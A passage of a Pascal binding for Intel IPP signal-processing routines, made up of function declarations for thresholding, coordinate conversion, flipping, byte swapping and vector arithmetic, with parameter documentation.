function ippsThreshold_LT_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LT_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LT_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LT_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LT_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_LT_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_GT_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GT_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GT_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GT_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GT_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GT_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GT_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GT_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GT_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GT_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GT_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GT_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsThreshold_LTAbs
ippsThreshold_GTAbs
Purpose: execute threshold by abolute value operation on every element
of the vector
"less than" for ippsThresold_LTAbs
"greater than for ippsThreshold_GTAbs
Parameters:
pSrcDst pointer to the vector for in-place operation
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
level level of the threshold operation
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsThreshNegLevelErr negative level value in complex operation
ippStsNoErr otherwise
}
function ippsThreshold_LTAbs_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTAbs_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTAbs_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTAbs_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_LTAbs_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTAbs_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTAbs_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTAbs_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_GTAbs_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GTAbs_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GTAbs_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GTAbs_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_GTAbs_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GTAbs_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GTAbs_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GTAbs_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsThresholdLTValue
ippsThresholdGTValue
Purpose: execute threshold operation on every element of the vector with
replace on value,
"less than" for ippsThresoldLTValue
"greater than for ippsThresholdGTValue
Parameters:
pSrcDst pointer to the vector for in-place operation
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
level level of the threshold operation
value value of replace
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsThreshNegLevelErr negative level value in complex operation
ippStsNoErr otherwise
}
function ippsThreshold_LTVal_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTVal_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32fc ): IppStatus; _ippapi
function ippsThreshold_LTVal_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTVal_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64fc ): IppStatus; _ippapi
function ippsThreshold_LTVal_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTVal_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16sc ): IppStatus; _ippapi
function ippsThreshold_LTVal_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTVal_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32fc ): IppStatus; _ippapi
function ippsThreshold_LTVal_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTVal_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64fc ): IppStatus; _ippapi
function ippsThreshold_LTVal_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTVal_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16sc ): IppStatus; _ippapi
function ippsThreshold_GTVal_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GTVal_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32fc ): IppStatus; _ippapi
function ippsThreshold_GTVal_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GTVal_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64fc ): IppStatus; _ippapi
function ippsThreshold_GTVal_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GTVal_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16sc ): IppStatus; _ippapi
function ippsThreshold_GTVal_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_GTVal_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32fc ): IppStatus; _ippapi
function ippsThreshold_GTVal_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_GTVal_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64fc ): IppStatus; _ippapi
function ippsThreshold_GTVal_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GTVal_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16sc ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsThreshold_LTAbsVal
Purpose: substitute each element of input vector that is less by absolute
value than specified level by specified constant value:
if( ABS(x[i]) < level ) y[i] = value;
else y[i] = x[i];
Parameters:
pSrcDst pointer to the vector for in-place operation
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
level level of the threshold operation
value substitution value
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsThreshNegLevelErr negative level is not supported
ippStsNoErr otherwise
}
function ippsThreshold_LTAbsVal_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ; value : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; value : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; value : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; value : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTAbsVal_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ; value : Ipp32s ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsThresholdLTInv
Purpose: replace elements of vector values by their inversion after
threshold operation
Parameters:
level level of threshold operation
pSrcDst pointer to the vector in in-place operation
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vectors
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsThreshNegLevelErr negative level value
ippStsInvZero level value and source element value are zero
ippStsNoErr otherwise
}
function ippsThreshold_LTInv_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTInv_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTInv_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTInv_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTInv_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTInv_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTInv_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTInv_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
{ ---------------------------------------------------------------------------- }
function ippsThreshold_LTValGTVal_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; levelLT : Ipp32f ; valueLT : Ipp32f ; levelGT : Ipp32f ; valueGT : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; levelLT : Ipp64f ; valueLT : Ipp64f ; levelGT : Ipp64f ; valueGT : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; levelLT : Ipp32f ; valueLT : Ipp32f ; levelGT : Ipp32f ; valueGT : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; levelLT : Ipp64f ; valueLT : Ipp64f ; levelGT : Ipp64f ; valueGT : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; levelLT : Ipp16s ; valueLT : Ipp16s ; levelGT : Ipp16s ; valueGT : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; levelLT : Ipp16s ; valueLT : Ipp16s ; levelGT : Ipp16s ; valueGT : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_GT_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_GT_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; level : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; levelLT : Ipp32s ; valueLT : Ipp32s ; levelGT : Ipp32s ; valueGT : Ipp32s ): IppStatus; _ippapi
function ippsThreshold_LTValGTVal_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; levelLT : Ipp32s ; valueLT : Ipp32s ; levelGT : Ipp32s ; valueGT : Ipp32s ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsCartToPolar
Purpose: Convert cartesian coordinate to polar. Input data are formed as
a complex vector.
Parameters:
pSrc an input complex vector
pDstMagn an output vector to store the magnitude components
pDstPhase an output vector to store the phase components (in radians)
len a length of the array
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
}
function ippsCartToPolar_32fc( pSrc : Ipp32fcPtr ; pDstMagn : Ipp32fPtr ; pDstPhase : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCartToPolar_64fc( pSrc : Ipp64fcPtr ; pDstMagn : Ipp64fPtr ; pDstPhase : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsCartToPolar
Purpose: Convert cartesian coordinate to polar. Input data are formed as
two real vectors.
Parameters:
pSrcRe an input vector containing the coordinates X
pSrcIm an input vector containing the coordinates Y
pDstMagn an output vector to store the magnitude components
pDstPhase an output vector to store the phase components (in radians)
len a length of the array
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
}
function ippsCartToPolar_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDstMagn : Ipp32fPtr ; pDstPhase : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCartToPolar_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDstMagn : Ipp64fPtr ; pDstPhase : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsPolarToCart
Purpose: Convert polar coordinate to cartesian. Output data are formed as
a complex vector.
Parameters:
pDstMagn an input vector containing the magnitude components
pDstPhase an input vector containing the phase components(in radians)
pDst an output complex vector to store the cartesian coordinates
len a length of the arrays
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
}
function ippsPolarToCart_32fc( pSrcMagn : Ipp32fPtr ; pSrcPhase : Ipp32fPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPolarToCart_64fc( pSrcMagn : Ipp64fPtr ; pSrcPhase : Ipp64fPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsPolarToCart
Purpose: Convert polar coordinate to cartesian. Output data are formed as
two real vectors.
Parameters:
pDstMagn an input vector containing the magnitude components
pDstPhase an input vector containing the phase components(in radians)
pSrcRe an output complex vector to store the coordinates X
pSrcIm an output complex vector to store the coordinates Y
len a length of the arrays
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
}
function ippsPolarToCart_32f( pSrcMagn : Ipp32fPtr ; pSrcPhase : Ipp32fPtr ; pDstRe : Ipp32fPtr ; pDstIm : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPolarToCart_64f( pSrcMagn : Ipp64fPtr ; pSrcPhase : Ipp64fPtr ; pDstRe : Ipp64fPtr ; pDstIm : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsCartToPolar
Purpose: Convert cartesian coordinate to polar. Input data are formed as
a complex vector.
Parameters:
pSrc an input complex vector
pDstMagn an output vector to store the magnitude components
pDstPhase an output vector to store the phase components (in radians)
len a length of the array
magnScaleFactor scale factor of the magnitude companents
phaseScaleFactor scale factor of the phase companents
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
}
function ippsCartToPolar_16sc_Sfs( pSrc : Ipp16scPtr ; pDstMagn : Ipp16sPtr ; pDstPhase : Ipp16sPtr ; len : Int32 ; magnScaleFactor : Int32 ; phaseScaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsPolarToCart
Purpose: Convert polar coordinate to cartesian. Output data are formed as
a complex vector.
Parameters:
pDstMagn an input vector containing the magnitude components
pDstPhase an input vector containing the phase components(in radians)
pDst an output complex vector to store the cartesian coordinates
len a length of the arrays
magnScaleFactor scale factor of the magnitude companents
phaseScaleFactor scale factor of the phase companents
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
}
function ippsPolarToCart_16sc_Sfs( pSrcMagn : Ipp16sPtr ; pSrcPhase : Ipp16sPtr ; pDst : Ipp16scPtr ; len : Int32 ; magnScaleFactor : Int32 ; phaseScaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Companding functions
----------------------------------------------------------------------------
Name: ippsFlip
Purpose: dst[i] = src[len-i-1], i=0..len-1
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors, number of items
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsFlip_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_8u_I( pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_16u( pSrc : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsFlip_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsSwapBytes
Purpose: switches from a "big endian" order to the "little endian" order and vice-versa
Parameters:
pSrc pointer to the source vector
pSrcDst pointer to the source/destination vector
pDst pointer to the destination vector
len length of the vectors
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsSwapBytes_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_24u_I( pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_32u_I( pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_64u_I( pSrcDst : Ipp64uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_16u( pSrc : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_24u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_32u( pSrc : Ipp32uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSwapBytes_64u( pSrc : Ipp64uPtr ; pDst : Ipp64uPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Arithmetic functions
------------------------------------------------------------------------------
Names: ippsAdd, ippsSub, ippsMul
Purpose: add, subtract and multiply operations upon every element of
the source vector
Arguments:
pSrc pointer to the source vector
pSrcDst pointer to the source/destination vector
pSrc1 pointer to the first source vector
pSrc2 pointer to the second source vector
pDst pointer to the destination vector
len length of the vectors
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Note:
AddC(X,v,Y) : Y[n] = X[n] + v
MulC(X,v,Y) : Y[n] = X[n] * v
SubC(X,v,Y) : Y[n] = X[n] - v
SubCRev(X,v,Y) : Y[n] = v - X[n]
Sub(X,Y) : Y[n] = Y[n] - X[n]
Sub(X,Y,Z) : Z[n] = Y[n] - X[n]
}
function ippsAddC_16s_I( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_16s_I( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_16s_I( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_32f_I( val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_32fc_I( val : Ipp32fc ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_32f_I( val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_32fc_I( val : Ipp32fc ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32f_I( val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32fc_I( val : Ipp32fc ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_32f_I( val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_32fc_I( val : Ipp32fc ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_64f_I( val : Ipp64f ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_64fc_I( val : Ipp64fc ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_64f_I( val : Ipp64f ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubC_64fc_I( val : Ipp64fc ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_64f_I( val : Ipp64f ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSubCRev_64fc_I( val : Ipp64fc ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_64f_I( val : Ipp64f ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_64fc_I( val : Ipp64fc ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulC_32f16s_Sfs( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_Low_32f16s( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAddC_8u_ISfs( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_8u_ISfs( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_8u_ISfs( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_8u_ISfs( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_16s_ISfs( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_16s_ISfs( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_16s_ISfs( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_16sc_ISfs( val : Ipp16sc ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_16sc_ISfs( val : Ipp16sc ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMulC_16sc_ISfs( val : Ipp16sc ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_16s_ISfs( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_16sc_ISfs( val : Ipp16sc ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_32s_ISfs( val : Ipp32s ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsAddC_32sc_ISfs( val : Ipp32sc ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_32s_ISfs( val : Ipp32s ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubC_32sc_ISfs( val : Ipp32sc ; pSrcDst : Ipp32scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSubCRev_32s_ISfs( val : Ipp32s ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
